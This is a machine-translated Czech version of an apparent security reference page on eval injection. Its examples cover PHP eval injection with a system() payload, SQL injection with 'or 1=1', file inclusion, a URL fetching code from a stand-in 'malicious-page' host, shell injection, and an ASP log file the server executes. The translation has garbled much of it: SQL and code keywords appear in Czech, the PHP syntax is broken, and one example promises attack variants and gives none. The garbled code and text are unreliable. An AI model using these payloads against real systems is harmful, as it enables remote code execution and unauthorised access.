Direct Dynamic Code Evaluation (Eval Injection)

Popis

Tento útok se skládá ze skriptu, který není řádně ověřit uživatele vstupy v parametru stránky. Vzdálený uživatel může dodat speciálně vytvořenou adresu URL předat libovolný kód na eval () prohlášení, které má za následek spuštění kódu.

Poznámka 1: Tento útok spustí kód se stejným oprávněním jako službu cílovou stránku, včetně příkazů operačního systému.

Poznámka 2: Eval injekce je převládající v rutině / odeslání postupy, které by mohly chtít vyvolat velké množství funkcí, nebo nastavit velké množství proměnných.

Rizikové faktory

TBD

Příklady

Příklad 1

V tomto příkladu útočník může ovládat všechny nebo část vstupního řetězce, který je dodán do eval () volání funkce

  $ MyVar = "varname"; 
  $ X = $ _GET ['arg']; 
  eval ("\ $ myVar = \ $ x;"); 

Argument "eval" budou zpracovány jako PHP, takže další příkazy mohou být připojeny. Například, pokud "arg" je nastavena na "10; systém (\" / bin / echo uh-oh \ "),", dodatečný kód run, který vykonává program na serveru, v tomto případě "/ bin / echo ".

Příklad 2

Následující příklad SQL Injection . Zvažte webovou stránku, která má dvě pole umožňují uživatelům zadat uživatelské jméno a heslo. Kód za stránku bude generovat SQL dotazu pro kontrolu hesla proti seznam uživatelských jmen:

SELECT UserList.Username
Z Seznam uživatelů
KDE
UserList.Username = 'Uživatelské jméno'
A UserList.Password = 'Heslo'

Pokud tento dotaz vrátí přesně jeden řádek, pak je přístup povolen. Nicméně, pokud uživatel se zlými úmysly zadá platné uživatelské jméno a napíchne nějaký platný kód ("'nebo 1 = 1") do pole Heslo, pak výsledný dotaz bude vypadat takto:

SELECT UserList.Username
Z Seznam uživatelů
KDE
UserList.Username = 'Uživatelské jméno'
A UserList.Password = 'Heslo' nebo '1 '= '1'

Ve výše uvedeném příkladu, je "Heslo" Předpokládá se, že prázdné nebo nějaký neškodný řetězec. "1 = 1" bude vždy pravdivé a mnoho řádků bude vrácen, což umožní přístup. V konečném znění obrácené čárky budou ignorovány analyzátor SQL. Technika může být zdokonalen, aby umožnil více příkazy ke spuštění, nebo dokonce k načtení a spuštění externích programů.

Příklad 3

Toto je příklad souboru, který byl injikován. Zvažte tento program PHP (která zahrnuje soubor určený na požádání):

<? Php
   $ Color = 'blue';
   if (isset ($ _GET ['color']))
      $ Color = $ _GET ['color'];
   vyžadují ($ color 'php. ".);
>
<form>
   <select name="COLOR">
      <option value="red"> červená </ option>
      <option value="blue"> modrá </ option>
   </ Select>
   <input type="submit">
</ Form>


Developer myslel, že toto by zajistilo, že pouze blue.php a red.php mohl být načten. Ale jak někdo může jednoduše vložit libovolné hodnoty v barvě, je možné aplikovat kód ze souborů:

Příklad 4

Jednoduchý URL, které ukazuje způsob, jak dělat toto útok:

 http://some-page/any-dir/index.php?page = <include ($ s);?> & s = http://malicious-page/cmd.txt?  

Příklad 5

Shell Injection platí pro většinu systémů, které umožňují software programově spustit příkazový řádek. Typické zdroje Injection Shell jsou hovory system (), StartProcess (), java.lang.Runtime.exec () a podobné API.

Zvažte následující krátký PHP program, který běží externí program s názvemfunnytext nahradit slovo uživatel pošle s jiným slovem.

<HTML>
<? Php
passthru ("/ home / user / phpguru / funnytext" 
           . $ _GET ['USER_INPUT']);
>

Tento program může být aplikován v několika způsoby:

PHP nabízí escapeshellarg () a EscapeShellCmd () provést kódování před voláním metody. Nicméně, není doporučeno důvěřovat tyto metody musí být bezpečné - také ověřovat / dezinfikuje vstup.

Příklad 6

Následující kód je citlivá na eval () injekci, protože nejsou dezinfekci vstup uživatele (v tomto případě: "jméno"). Program jen uloží tento vstup do txt souboru, a pak server bude tento soubor spustit bez ověření. V tomto případě musí uživatel je schopen vložit místo příkazu uživatelského jména.

Příklad:

<%
	Pokud tomu tak není IsEmpty (Request ("username")) Then
		Const ForReading = 1, ForWriting = 2, ForAppending = 8
		Dim FSO, f
Nastavit FSO = CreateObject ("Scripting.FileSystemObject")
Set f = fso.OpenTextFile (Server.MapPath ("userlog.txt"), ForAppending, True)
		f.Write Request ("username") & vbCrLf
		f.close
		Nastavit f = nic
		Nastavit FSO = Nothing
		%>
		<h1> Seznam přihlášených uživatelů: </ h1>
		<pre>
		<%
			Server.Execute ("userlog.txt")
		%>
		</ Pre>
		<%
	Jiný
		%>
		<form>
			<input name="username" /> <input type="submit" name="submit" />
		</ Form>
		<%
	End If
%>